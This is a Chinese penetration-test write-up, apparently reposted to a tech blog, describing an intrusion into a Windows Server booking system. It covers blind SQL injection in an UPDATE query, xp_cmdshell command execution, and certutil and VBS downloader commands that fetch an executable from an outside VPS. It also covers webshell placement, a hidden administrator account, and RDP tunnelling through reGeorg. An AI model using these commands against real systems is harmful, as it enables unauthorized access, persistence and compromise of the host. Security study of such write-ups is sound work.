记一次简单的Win Server渗透

2019-09-13 约 1536 字 预计阅读 4 分钟

声明:本文 【记一次简单的Win Server渗透】 由作者 Iv4n 于 2019-09-13 09:30:26 首发 先知社区 曾经 浏览数 38 次

感谢 Iv4n 的辛苦付出!

0x00

对某单位的某主机系统一次渗透,敏感信息皆已打码

目标环境Windows Server 2008 R2 + IIS7.5 + ASP.NET2.0.50727

0x01

该系统为一个预约系统,先进行端口扫描,发现开放了很多端口,其中值得注意的135, 445, 3389端口被防火墙过滤,1433端口开放。爆破1433的sa密码往往很有难度,所以暂时先放着

0x02

手工测试功能点,fuzz发现几乎所有的SELECT SQL参数点都不可以注入,这时可以猜到后台使用了统一的查询方式(参数化或ORM),所以就没必要接着尝试SELECT参数了,可以转而将目光放在UPDATE或INSERT,说不定会有转机

果然,测试后发现用户邮箱修改处存在time-based盲注

这里对邮箱格式存在一个前端验证,简单绕过就可以了

之后getshell后查看源码也证实是由于UPDATE语句没有做参数化查询

0x03

SQLMap一把梭,先测试是否有DBA权限
很幸运

尝试直接使用xp_cmdshell组件执行命令,这里由于是sa用户,所以往往对应的系统权限也很高,这里直接就是SYSTEM权限

0x04

想继续发掘有用的信息,但发现一个问题,通过时间盲注来获取命令回显很慢,一条dir指令回显几乎需要5-10min,所以需要考虑获取一个WebShell或Meterpreter

WebShell由于不知道绝对路径且获取回显困难,所以暂且搁置

尝试从VPS下载远控,certuril, vbs,无一例外失败了

// certutil
certutil -urlcache -split "http://1.1.1.1/1.exe"

// vbs
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs

cscript d.vbs http://1.1.1.1/1.exe C:\\Windows\\temp\\1.exe

接下来需要确定是由于下载失败还是下载成功但被杀,尝试下载普通文本文件————成功。

接着尝试直接执行CS生成的ps1发现一样失败了,猜测是服务器的杀软进行了动态行为的二次确认

0x05

冷静下来再想想,接下来可以尝试写WebShell;或者找到SQL SERVER的配置文件,直接通过开放在公网的1433端口连接,然后xp_cmdshell执行命令(这个的回显当然比时间盲注快多了),但找配置文件的前提还是得找到WEB目录。通过已有的时间盲注来翻目录怕是得找一天,所以我需要通过尽可能少的回显来获知绝对路径

通过wmic先确定目标系统的所有盘符

wmic logicaldisk where DriveType=3 get DeviceID

接着通过web路径中某些特征文件名来通配查找

for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i
for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i

这里由于回显需要时间,就不在os-shell中复现了,通过AntSword演示

这里回显了7个路径,挨个尝试echo 1> xx\xx\1.txt,最后确定了WEB目录为E:\Program files (x86)\下的某目录

愉快的写入WebShell

连接

0x06

WebShell仅仅是iis权限,所以翻一翻配置文件

这个回显就方便多了

0x07

最开始扫目录有管理员登录后台,查询管理员密码,发现密码是80 bytes的加密字符串

没有找到源码的加密函数(部分源码只有binary没有.cs),如果有师父知道这是什么加密,欢迎交流

最后想了想,嗯,直接把我普通用户的加密密码插入admin表吧

成功登录后台

0x08

还记得目标开了3389,尝试连接

通过xp_cmdshell的SYSTEM权限添加用户

net user iv4n$ xxxxxxx /add
net localgroup administrators iv4n$ /add

但防火墙限制了3389的外网访问,尝试通过socks代理转发

(考虑到EXE需要免杀,所以本打算使用系统netsh组件端口转发,连接时却转发异常,之后使用reGeorge访问目标内网端口)

all seems fine, 测试一下没问题

编辑proxychains的配置为本地4444端口的socks4代理,通过proxychains套rdesktop连接

0x09

目标系统没有域环境,所以测试就到此为止了

本文如有错误,欢迎各位师父指出 :)

关键词:[‘渗透测试’, ‘渗透测试’]

相关文章:


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now